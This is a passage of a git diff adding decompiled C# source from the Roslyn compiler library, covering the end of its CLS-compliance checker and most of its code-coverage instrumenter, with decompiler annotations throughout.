between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Expected I4, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + SpecialType specialType = type.SpecialType; + if ((int)specialType <= 16) + { + if ((int)specialType != 9) + { + switch (specialType - 12) + { + case 0: + case 2: + case 4: + break; + default: + goto IL_003e; + } + } + return false; + } + if ((int)specialType == 22 || (int)specialType == 36) + { + return false; + } + goto IL_003e; + IL_003e: + if ((int)type.TypeKind == 6) + { + return true; + } + if (!IsTrue(GetDeclaredOrInheritedCompliance(type.OriginalDefinition))) + { + return false; + } + ImmutableArray.Enumerator enumerator = type.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!IsCompliantType(enumerator.Current.Type, context)) + { + return false; + } + } + return !IsInaccessibleBecauseOfConstruction(type, context); + } + + private static bool IsInaccessibleBecauseOfConstruction(NamedTypeSymbol type, NamedTypeSymbol context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + bool flag = type.DeclaredAccessibility.HasProtected(); + bool flag2 = false; + Dictionary dictionary = null; + NamedTypeSymbol containingType = type.ContainingType; + while ((object)containingType != null) + { + if (dictionary == null) + { + dictionary = new Dictionary(); + } + flag = flag || containingType.DeclaredAccessibility.HasProtected(); + flag2 = flag2 || containingType.Arity > 0; + dictionary.Add(containingType.OriginalDefinition, containingType); + containingType = containingType.ContainingType; + } + if (!flag || !flag2 || dictionary == null) + { + return false; + } + while ((object)context != null) + { + NamedTypeSymbol namedTypeSymbol = context; + while ((object)namedTypeSymbol != null) + { + if (dictionary.TryGetValue(namedTypeSymbol.OriginalDefinition, out var value)) + { + return !TypeSymbol.Equals(value, namedTypeSymbol, (TypeCompareKind)63); + } + namedTypeSymbol = namedTypeSymbol.BaseTypeNoUseSiteDiagnostics; + } + context = context.ContainingType; + } + return false; + } + + private Compliance GetDeclaredOrInheritedCompliance(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Invalid comparison between Unknown and I4 + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Invalid comparison between Unknown and I4 + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 12) + { + return GetDeclaredOrInheritedCompliance(symbol.ContainingAssembly); + } + if ((int)symbol.Kind == 9) + { + Symbol associatedSymbol = ((MethodSymbol)symbol).AssociatedSymbol; + if ((object)associatedSymbol != null) + { + return GetDeclaredOrInheritedCompliance(associatedSymbol); + } + } + if (_declaredOrInheritedCompliance.TryGetValue(symbol, out var value)) + { + return value; + } + value = (Compliance)(((int?)(!GetDeclaredCompliance(symbol, out var _))) ?? (((int)symbol.Kind != 2) ? (IsTrue(GetInheritedCompliance(symbol)) ? 2 : 3) : 4)); + if ((int)symbol.Kind != 2 && (int)symbol.Kind != 11) + { + return value; + } + return _declaredOrInheritedCompliance.GetOrAdd(symbol, value); + } + + private Compliance GetInheritedCompliance(Symbol symbol) + { + Symbol symbol2 = (Symbol)(((object)symbol.ContainingType) ?? ((object)symbol.ContainingAssembly)); + return GetDeclaredOrInheritedCompliance(symbol2); + } + + private bool? GetDeclaredCompliance(Symbol symbol, out Location attributeLocation) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + attributeLocation = null; + ImmutableArray.Enumerator enumerator = symbol.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (!current.IsTargetAttribute(symbol, AttributeDescription.CLSCompliantAttribute)) + { + continue; + } + NamedTypeSymbol attributeClass = current.AttributeClass; + if (((object)attributeClass == null || !_diagnostics.ReportUseSite(attributeClass, symbol.GetFirstLocationOrNone())) && !((AttributeData)current).HasErrors) + { + if (!TryGetAttributeWarningLocation(current, out attributeLocation)) + { + attributeLocation = null; + } + TypedConstant val = ((AttributeData)current).CommonConstructorArguments[0]; + return (bool)((TypedConstant)(ref val)).ValueInternal; + } + } + return null; + } + + private static bool IsAccessibleOutsideAssembly(Symbol symbol) + { + while ((object)symbol != null && !IsImplicitClass(symbol)) + { + if (!IsAccessibleIfContainerIsAccessible(symbol)) + { + return false; + } + symbol = symbol.ContainingType; + } + return true; + } + + private static bool IsAccessibleIfContainerIsAccessible(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Expected I4, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + Accessibility declaredAccessibility = symbol.DeclaredAccessibility; + switch ((int)declaredAccessibility) + { + case 3: + case 5: + case 6: + return true; + case 1: + case 2: + case 4: + return false; + case 0: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)symbol.DeclaredAccessibility); + } + } + + private void AddDiagnostic(ErrorCode code, Location location) + { + CSDiagnostic cSDiagnostic = new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(code), location); + ((BindingDiagnosticBag)_diagnostics).Add((Diagnostic)(object)cSDiagnostic); + } + + private void AddDiagnostic(ErrorCode code, Location location, params object[] args) + { + CSDiagnostic cSDiagnostic = new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(code, args), location); + ((BindingDiagnosticBag)_diagnostics).Add((Diagnostic)(object)cSDiagnostic); + } + + private static bool IsImplicitClass(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 11) + { + return ((NamedTypeSymbol)symbol).IsImplicitClass; + } + return false; + } + + private static bool IsTrue(Compliance compliance) + { + switch (compliance) + { + case Compliance.DeclaredTrue: + case Compliance.InheritedTrue: + return true; + case Compliance.DeclaredFalse: + case Compliance.InheritedFalse: + case Compliance.ImpliedFalse: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)compliance); + } + } + + private static bool IsDeclared(Compliance compliance) + { + switch (compliance) + { + case Compliance.DeclaredTrue: + case Compliance.DeclaredFalse: + return true; + case Compliance.InheritedTrue: + case Compliance.InheritedFalse: + case Compliance.ImpliedFalse: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)compliance); + } + } + + private static bool TryGetCollisionErrorCode(Symbol x, Symbol y, out ErrorCode code) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Invalid comparison between Unknown and I4 + //IL_017e: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + code = ErrorCode.Void; + SymbolKind kind = x.Kind; + ImmutableArray parameterTypesWithAnnotations; + ImmutableArray parameterRefKinds; + ImmutableArray parameterTypesWithAnnotations2; + ImmutableArray parameterRefKinds2; + if ((int)kind != 9) + { + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)x.Kind); + } + PropertySymbol obj = (PropertySymbol)x; + parameterTypesWithAnnotations = obj.ParameterTypesWithAnnotations; + parameterRefKinds = obj.ParameterRefKinds; + PropertySymbol obj2 = (PropertySymbol)y; + parameterTypesWithAnnotations2 = obj2.ParameterTypesWithAnnotations; + parameterRefKinds2 = obj2.ParameterRefKinds; + } + else + { + MethodSymbol obj3 = (MethodSymbol)x; + parameterTypesWithAnnotations = obj3.ParameterTypesWithAnnotations; + parameterRefKinds = obj3.ParameterRefKinds; + MethodSymbol obj4 = (MethodSymbol)y; + parameterTypesWithAnnotations2 = obj4.ParameterTypesWithAnnotations; + parameterRefKinds2 = obj4.ParameterRefKinds; + } + int length = parameterTypesWithAnnotations.Length; + if (parameterTypesWithAnnotations2.Length != length) + { + return false; + } + bool flag = parameterRefKinds.IsDefault != parameterRefKinds2.IsDefault; + bool flag2 = false; + bool flag3 = false; + for (int i = 0; i < length; i++) + { + TypeSymbol type = parameterTypesWithAnnotations[i].Type; + TypeSymbol type2 = parameterTypesWithAnnotations2[i].Type; + TypeKind typeKind = type.TypeKind; + if (type2.TypeKind != typeKind) + { + return false; + } + if ((int)typeKind == 1) + { + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)type; + ArrayTypeSymbol arrayTypeSymbol2 = (ArrayTypeSymbol)type2; + flag2 = flag2 || arrayTypeSymbol.Rank != arrayTypeSymbol2.Rank; + bool flag4 = !TypeSymbol.Equals(arrayTypeSymbol.ElementType, arrayTypeSymbol2.ElementType, (TypeCompareKind)0); + if (IsArrayOfArrays(arrayTypeSymbol) || IsArrayOfArrays(arrayTypeSymbol2)) + { + flag3 = flag3 || flag4; + } + else if (flag4) + { + return false; + } + } + else if (!TypeSymbol.Equals(type, type2, (TypeCompareKind)0)) + { + return false; + } + if (!parameterRefKinds.IsDefault) + { + flag = flag || parameterRefKinds[i] != parameterRefKinds2[i]; + } + } + code = (flag3 ? ErrorCode.WRN_CLS_OverloadUnnamed : (flag2 ? ErrorCode.WRN_CLS_OverloadRefOut : (flag ? ErrorCode.WRN_CLS_OverloadRefOut : ErrorCode.Void))); + return code != ErrorCode.Void; + } + + private static bool IsArrayOfArrays(ArrayTypeSymbol arrayType) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + return (int)arrayType.ElementType.Kind == 1; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CodeCoverageInstrumenter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CodeCoverageInstrumenter.cs new file mode 100644 index 0000000..7e40d77 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CodeCoverageInstrumenter.cs @@ -0,0 +1,524 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Shared.Collections; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CodeCoverageInstrumenter : CompoundInstrumenter +{ + private readonly MethodSymbol _method; + + private readonly BoundStatement _methodBody; + + private readonly MethodSymbol _createPayloadForMethodsSpanningSingleFile; + + private readonly MethodSymbol _createPayloadForMethodsSpanningMultipleFiles; + + private readonly ArrayBuilder _spansBuilder; + + private ImmutableArray _dynamicAnalysisSpans = ImmutableArray.Empty; + + private readonly BoundStatement? _methodEntryInstrumentation; + + private readonly ArrayTypeSymbol _payloadType; + + private readonly LocalSymbol _methodPayload; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly DebugDocumentProvider _debugDocumentProvider; + + private readonly SyntheticBoundNodeFactory _methodBodyFactory; + + public ImmutableArray DynamicAnalysisSpans => _dynamicAnalysisSpans; + + public static bool TryCreate(MethodSymbol method, BoundStatement methodBody, SyntheticBoundNodeFactory methodBodyFactory, BindingDiagnosticBag diagnostics, DebugDocumentProvider debugDocumentProvider, Instrumenter previous, [NotNullWhen(true)] out CodeCoverageInstrumenter? instrumenter) + { + instrumenter = null; + if (method.IsImplicitlyDeclared && !method.IsImplicitConstructor) + { + return false; + } + if (IsExcludedFromCodeCoverage(method)) + { + return false; + } + MethodSymbol createPayloadOverload = GetCreatePayloadOverload(methodBodyFactory.Compilation, (WellKnownMember)354, methodBody.Syntax, diagnostics); + MethodSymbol createPayloadOverload2 = GetCreatePayloadOverload(methodBodyFactory.Compilation, (WellKnownMember)355, methodBody.Syntax, diagnostics); + if ((object)createPayloadOverload == null || (object)createPayloadOverload2 == null) + { + return false; + } + if (method.Equals(createPayloadOverload) || method.Equals(createPayloadOverload2)) + { + return false; + } + instrumenter = new CodeCoverageInstrumenter(method, methodBody, methodBodyFactory, createPayloadOverload, createPayloadOverload2, diagnostics, debugDocumentProvider, previous); + return true; + } + + private CodeCoverageInstrumenter(MethodSymbol method, BoundStatement methodBody, SyntheticBoundNodeFactory methodBodyFactory, MethodSymbol createPayloadForMethodsSpanningSingleFile, MethodSymbol createPayloadForMethodsSpanningMultipleFiles, BindingDiagnosticBag diagnostics, DebugDocumentProvider debugDocumentProvider, Instrumenter previous) + : base(previous) + { + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + _createPayloadForMethodsSpanningSingleFile = createPayloadForMethodsSpanningSingleFile; + _createPayloadForMethodsSpanningMultipleFiles = createPayloadForMethodsSpanningMultipleFiles; + _method = method; + _methodBody = methodBody; + _spansBuilder = ArrayBuilder.GetInstance(); + TypeSymbol typeSymbol = methodBodyFactory.SpecialType((SpecialType)7); + _payloadType = ArrayTypeSymbol.CreateCSharpArray(methodBodyFactory.Compilation.Assembly, TypeWithAnnotations.Create(typeSymbol)); + _diagnostics = diagnostics; + _debugDocumentProvider = debugDocumentProvider; + _methodBodyFactory = methodBodyFactory; + MethodSymbol currentFunction = methodBodyFactory.CurrentFunction; + methodBodyFactory.CurrentFunction = method; + _methodPayload = methodBodyFactory.SynthesizedLocal(_payloadType, methodBody.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)34); + SyntaxNode val = MethodDeclarationIfAvailable(methodBody.Syntax); + if (!method.IsImplicitlyDeclared && !(method is SynthesizedSimpleProgramEntryPointSymbol)) + { + _methodEntryInstrumentation = AddAnalysisPoint(val, SkipAttributes(val), methodBodyFactory); + } + methodBodyFactory.CurrentFunction = currentFunction; + } + + protected override CompoundInstrumenter WithPreviousImpl(Instrumenter previous) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/Instrumentation/CodeCoverageInstrumenter.cs", 139); + } + + private static bool IsExcludedFromCodeCoverage(MethodSymbol method) + { + NamedTypeSymbol containingType = method.ContainingType; + while ((object)containingType != null) + { + if (containingType.IsDirectlyExcludedFromCodeCoverage) + { + return true; + } + containingType = containingType.ContainingType; + } + if ((object)method != null) + { + if (method.IsDirectlyExcludedFromCodeCoverage) + { + return true; + } + Symbol associatedSymbol = method.AssociatedSymbol; + if (associatedSymbol is PropertySymbol propertySymbol) + { + if (propertySymbol.IsDirectlyExcludedFromCodeCoverage) + { + return true; + } + } + else if (associatedSymbol is EventSymbol { IsDirectlyExcludedFromCodeCoverage: not false }) + { + return true; + } + } + return false; + } + + private static BoundExpressionStatement GetCreatePayloadStatement(ImmutableArray dynamicAnalysisSpans, SyntaxNode methodBodySyntax, LocalSymbol methodPayload, MethodSymbol createPayloadForMethodsSpanningSingleFile, MethodSymbol createPayloadForMethodsSpanningMultipleFiles, BoundExpression mvid, BoundExpression methodToken, BoundExpression payloadSlot, SyntheticBoundNodeFactory methodBodyFactory, DebugDocumentProvider debugDocumentProvider) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol method; + BoundExpression boundExpression; + if (dynamicAnalysisSpans.IsEmpty) + { + method = createPayloadForMethodsSpanningSingleFile; + DebugSourceDocument sourceDocument = GetSourceDocument(debugDocumentProvider, methodBodySyntax); + boundExpression = methodBodyFactory.SourceDocumentIndex(sourceDocument); + } + else + { + PooledHashSet instance = PooledHashSet.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = dynamicAnalysisSpans.GetEnumerator(); + while (enumerator.MoveNext()) + { + DebugSourceDocument document = enumerator.Current.Document; + if (((HashSet)(object)instance).Add(document)) + { + instance2.Add(methodBodyFactory.SourceDocumentIndex(document)); + } + } + instance.Free(); + if (instance2.Count == 1) + { + method = createPayloadForMethodsSpanningSingleFile; + boundExpression = ((IEnumerable)instance2).Single(); + } + else + { + method = createPayloadForMethodsSpanningMultipleFiles; + boundExpression = methodBodyFactory.Array(methodBodyFactory.SpecialType((SpecialType)13), instance2.ToImmutable()); + } + instance2.Free(); + } + return methodBodyFactory.Assignment(methodBodyFactory.Local(methodPayload), methodBodyFactory.Call(null, method, mvid, methodToken, boundExpression, payloadSlot, methodBodyFactory.Literal(dynamicAnalysisSpans.Length))); + } + + public override void InstrumentBlock(BoundBlock original, LocalRewriter rewriter, ref TemporaryArray additionalLocals, out BoundStatement? prologue, out BoundStatement? epilogue, out BoundBlockInstrumentation? instrumentation) + { + base.InstrumentBlock(original, rewriter, ref additionalLocals, out BoundStatement prologue2, out epilogue, out instrumentation); + if (original != rewriter.CurrentMethodBody) + { + prologue = prologue2; + return; + } + _dynamicAnalysisSpans = _spansBuilder.ToImmutableAndFree(); + ArrayTypeSymbol payloadType = ArrayTypeSymbol.CreateCSharpArray(_methodBodyFactory.Compilation.Assembly, TypeWithAnnotations.Create(_payloadType)); + BoundStatement boundStatement = _methodBodyFactory.Assignment(_methodBodyFactory.Local(_methodPayload), _methodBodyFactory.ArrayAccess(_methodBodyFactory.InstrumentationPayloadRoot(0, payloadType), ImmutableArray.Create(_methodBodyFactory.MethodDefIndex(_method)))); + BoundExpression mvid = _methodBodyFactory.ModuleVersionId(); + BoundExpression methodToken = _methodBodyFactory.MethodDefIndex(_method); + BoundExpression payloadSlot = _methodBodyFactory.ArrayAccess(_methodBodyFactory.InstrumentationPayloadRoot(0, payloadType), ImmutableArray.Create(_methodBodyFactory.MethodDefIndex(_method))); + BoundStatement createPayloadStatement = GetCreatePayloadStatement(_dynamicAnalysisSpans, _methodBody.Syntax, _methodPayload, _createPayloadForMethodsSpanningSingleFile, _createPayloadForMethodsSpanningMultipleFiles, mvid, methodToken, payloadSlot, _methodBodyFactory, _debugDocumentProvider); + BoundExpression condition = _methodBodyFactory.Binary(BinaryOperatorKind.ObjectEqual, _methodBodyFactory.SpecialType((SpecialType)7), _methodBodyFactory.Local(_methodPayload), _methodBodyFactory.Null(_payloadType)); + BoundStatement boundStatement2 = _methodBodyFactory.If(condition, createPayloadStatement); + additionalLocals.Add(_methodPayload); + ArrayBuilder instance = ArrayBuilder.GetInstance(2 + ((_methodEntryInstrumentation != null) ? 1 : 0) + ((prologue2 != null) ? 1 : 0)); + instance.Add(boundStatement); + instance.Add(boundStatement2); + if (_methodEntryInstrumentation != null) + { + instance.Add(_methodEntryInstrumentation); + } + if (prologue2 != null) + { + instance.Add(prologue2); + } + prologue = _methodBodyFactory.StatementList(instance.ToImmutableAndFree()); + } + + public override BoundStatement InstrumentNoOpStatement(BoundNoOpStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentNoOpStatement(original, rewritten)); + } + + public override BoundStatement InstrumentBreakStatement(BoundBreakStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentBreakStatement(original, rewritten)); + } + + public override BoundStatement InstrumentContinueStatement(BoundContinueStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentContinueStatement(original, rewritten)); + } + + public override BoundStatement InstrumentExpressionStatement(BoundExpressionStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentExpressionStatement(original, rewritten)); + } + + public override BoundStatement InstrumentFieldOrPropertyInitializer(BoundStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentFieldOrPropertyInitializer(original, rewritten)); + } + + public override BoundStatement InstrumentGotoStatement(BoundGotoStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentGotoStatement(original, rewritten)); + } + + public override BoundStatement InstrumentThrowStatement(BoundThrowStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentThrowStatement(original, rewritten)); + } + + public override BoundStatement InstrumentYieldBreakStatement(BoundYieldBreakStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentYieldBreakStatement(original, rewritten)); + } + + public override BoundStatement InstrumentYieldReturnStatement(BoundYieldReturnStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentYieldReturnStatement(original, rewritten)); + } + + public override BoundStatement InstrumentForEachStatementIterationVarDeclaration(BoundForEachStatement original, BoundStatement iterationVarDecl) + { + return AddDynamicAnalysis(original, base.InstrumentForEachStatementIterationVarDeclaration(original, iterationVarDecl)); + } + + public override BoundStatement InstrumentForEachStatementDeconstructionVariablesDeclaration(BoundForEachStatement original, BoundStatement iterationVarDecl) + { + return AddDynamicAnalysis(original, base.InstrumentForEachStatementDeconstructionVariablesDeclaration(original, iterationVarDecl)); + } + + public override BoundStatement InstrumentIfStatement(BoundIfStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentIfStatement(original, rewritten)); + } + + public override BoundStatement InstrumentWhileStatementConditionalGotoStartOrBreak(BoundWhileStatement original, BoundStatement ifConditionGotoStart) + { + return AddDynamicAnalysis(original, base.InstrumentWhileStatementConditionalGotoStartOrBreak(original, ifConditionGotoStart)); + } + + public override BoundStatement InstrumentUserDefinedLocalInitialization(BoundLocalDeclaration original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentUserDefinedLocalInitialization(original, rewritten)); + } + + public override BoundStatement InstrumentLockTargetCapture(BoundLockStatement original, BoundStatement lockTargetCapture) + { + return AddDynamicAnalysis(original, base.InstrumentLockTargetCapture(original, lockTargetCapture)); + } + + public override BoundStatement InstrumentReturnStatement(BoundReturnStatement original, BoundStatement rewritten) + { + rewritten = base.InstrumentReturnStatement(original, rewritten); + if (ReturnsValueWithinExpressionBodiedConstruct(original)) + { + return CollectDynamicAnalysis(original, rewritten); + } + return AddDynamicAnalysis(original, rewritten); + } + + private static bool ReturnsValueWithinExpressionBodiedConstruct(BoundReturnStatement returnStatement) + { + if (returnStatement.WasCompilerGenerated && returnStatement.ExpressionOpt != null && returnStatement.ExpressionOpt.Syntax != null) + { + SyntaxKind syntaxKind = returnStatement.ExpressionOpt.Syntax.Parent.Kind(); + if (syntaxKind - 8642 <= SyntaxKind.List || syntaxKind == SyntaxKind.ArrowExpressionClause) + { + return true; + } + } + return false; + } + + public override BoundStatement InstrumentSwitchStatement(BoundSwitchStatement original, BoundStatement rewritten) + { + return AddDynamicAnalysis(original, base.InstrumentSwitchStatement(original, rewritten)); + } + + public override BoundStatement InstrumentSwitchWhenClauseConditionalGotoBody(BoundExpression original, BoundStatement ifConditionGotoBody) + { + ifConditionGotoBody = base.InstrumentSwitchWhenClauseConditionalGotoBody(original, ifConditionGotoBody); + WhenClauseSyntax whenClauseSyntax = original.Syntax.FirstAncestorOrSelf((Func)null, true); + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(_method, (SyntaxNode)(object)whenClauseSyntax, _methodBodyFactory.CompilationState, _diagnostics); + return syntheticBoundNodeFactory.StatementList(AddAnalysisPoint((SyntaxNode)(object)whenClauseSyntax, syntheticBoundNodeFactory), ifConditionGotoBody); + } + + public override BoundStatement InstrumentUsingTargetCapture(BoundUsingStatement original, BoundStatement usingTargetCapture) + { + return AddDynamicAnalysis(original, base.InstrumentUsingTargetCapture(original, usingTargetCapture)); + } + + private BoundStatement AddDynamicAnalysis(BoundStatement original, BoundStatement rewritten) + { + if (!original.WasCompilerGenerated && (!original.IsConstructorInitializer() || original.Syntax.Kind() != SyntaxKind.ConstructorDeclaration)) + { + return CollectDynamicAnalysis(original, rewritten); + } + return rewritten; + } + + private BoundStatement CollectDynamicAnalysis(BoundStatement original, BoundStatement rewritten) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(_method, original.Syntax, _methodBodyFactory.CompilationState, _diagnostics); + return syntheticBoundNodeFactory.StatementList(AddAnalysisPoint(SyntaxForSpan(original), syntheticBoundNodeFactory), rewritten); + } + + private static DebugSourceDocument GetSourceDocument(DebugDocumentProvider debugDocumentProvider, SyntaxNode syntax) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return GetSourceDocument(debugDocumentProvider, syntax, syntax.GetLocation().GetMappedLineSpan()); + } + + private static DebugSourceDocument GetSourceDocument(DebugDocumentProvider debugDocumentProvider, SyntaxNode syntax, FileLinePositionSpan span) + { + string text = ((FileLinePositionSpan)(ref span)).Path; + if (text.Length == 0) + { + text = syntax.SyntaxTree.FilePath; + } + return debugDocumentProvider.Invoke(text, ""); + } + + private BoundStatement AddAnalysisPoint(SyntaxNode syntaxForSpan, TextSpan alternateSpan, SyntheticBoundNodeFactory statementFactory) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return AddAnalysisPoint(syntaxForSpan, syntaxForSpan.SyntaxTree.GetMappedLineSpan(alternateSpan, default(CancellationToken)), statementFactory); + } + + private BoundStatement AddAnalysisPoint(SyntaxNode syntaxForSpan, SyntheticBoundNodeFactory statementFactory) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return AddAnalysisPoint(syntaxForSpan, syntaxForSpan.GetLocation().GetMappedLineSpan(), statementFactory); + } + + private BoundStatement AddAnalysisPoint(SyntaxNode syntaxForSpan, FileLinePositionSpan span, SyntheticBoundNodeFactory statementFactory) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + int count = _spansBuilder.Count; + ArrayBuilder spansBuilder = _spansBuilder; + DebugSourceDocument sourceDocument = GetSourceDocument(_debugDocumentProvider, syntaxForSpan, span); + LinePosition val = ((FileLinePositionSpan)(ref span)).StartLinePosition; + int line = ((LinePosition)(ref val)).Line; + val = ((FileLinePositionSpan)(ref span)).StartLinePosition; + int character = ((LinePosition)(ref val)).Character; + val = ((FileLinePositionSpan)(ref span)).EndLinePosition; + int line2 = ((LinePosition)(ref val)).Line; + val = ((FileLinePositionSpan)(ref span)).EndLinePosition; + spansBuilder.Add(new SourceSpan(sourceDocument, line, character, line2, ((LinePosition)(ref val)).Character)); + BoundArrayAccess left = statementFactory.ArrayAccess(statementFactory.Local(_methodPayload), statementFactory.Literal(count)); + return statementFactory.Assignment(left, statementFactory.Literal(value: true)); + } + + private static SyntaxNode SyntaxForSpan(BoundStatement statement) + { + switch (statement.Kind) + { + case BoundKind.IfStatement: + return ((BoundIfStatement)statement).Condition.Syntax; + case BoundKind.WhileStatement: + return ((BoundWhileStatement)statement).Condition.Syntax; + case BoundKind.ForEachStatement: + return ((BoundForEachStatement)statement).Expression.Syntax; + case BoundKind.DoStatement: + return ((BoundDoStatement)statement).Condition.Syntax; + case BoundKind.UsingStatement: + { + BoundUsingStatement boundUsingStatement = (BoundUsingStatement)statement; + return ((BoundNode)(((object)boundUsingStatement.ExpressionOpt) ?? ((object)boundUsingStatement.DeclarationsOpt))).Syntax; + } + case BoundKind.FixedStatement: + return ((BoundFixedStatement)statement).Declarations.Syntax; + case BoundKind.LockStatement: + return ((BoundLockStatement)statement).Argument.Syntax; + case BoundKind.SwitchStatement: + return ((BoundSwitchStatement)statement).Expression.Syntax; + default: + return statement.Syntax; + } + } + + private static MethodSymbol GetCreatePayloadOverload(CSharpCompilation compilation, WellKnownMember overload, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (MethodSymbol)Binder.GetWellKnownTypeMember(compilation, overload, diagnostics, null, syntax); + } + + private static SyntaxNode MethodDeclarationIfAvailable(SyntaxNode body) + { + SyntaxNode parent = body.Parent; + if (parent != null) + { + switch (parent.Kind()) + { + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.PropertyDeclaration: + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + return parent; + } + } + return body; + } + + private static TextSpan SkipAttributes(SyntaxNode syntax) + { + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + 